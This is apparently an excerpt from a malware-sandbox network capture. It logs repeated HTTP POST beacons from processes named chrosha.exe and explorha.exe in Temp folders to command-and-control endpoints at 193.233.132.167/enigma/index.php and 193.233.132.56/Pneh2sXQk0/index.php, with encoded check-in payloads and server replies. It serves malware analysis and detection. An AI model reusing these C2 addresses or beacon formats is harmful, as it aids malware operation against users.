Apr 19, 2024 03:33:36.021290064 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:36.275113106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.5	50637	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:36.211263895 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:36.461401939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.5	50638	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:36.644637108 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:36.893424034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.5	50639	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:36.819397926 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:37.064719915 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.5	50640	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:37.149118900 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:37.402888060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.5	50641	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:37.321908951 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:37.570317984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.5	50642	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:37.764167070 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:38.015588045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.5	50643	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:37.931225061 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:38.179800987 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.5	50644	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:38.268912077 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:38.521471024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.5	50645	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:38.434638023 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:38.688963890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.5	50646	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:38.884622097 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:39.131378889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.5	50647	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:39.062916994 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:39.311497927 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.5	50648	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:39.380281925 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:39.629511118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.5	50649	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:39.563229084 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:39.814528942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.5	50650	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:39.992706060 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:40.239696980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.5	50651	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:40.177026987 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:40.421053886 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.5	50652	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:40.490765095 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:40.740268946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.5	50653	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:40.669392109 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:40.919905901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.5	50654	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:41.103409052 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:41.343666077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.5	50655	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:41.274914980 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:41.519941092 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.5	50656	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:41.592413902 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:41.840955973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.5	50657	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:41.775398970 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:42.031157017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.5	50658	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:42.198170900 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
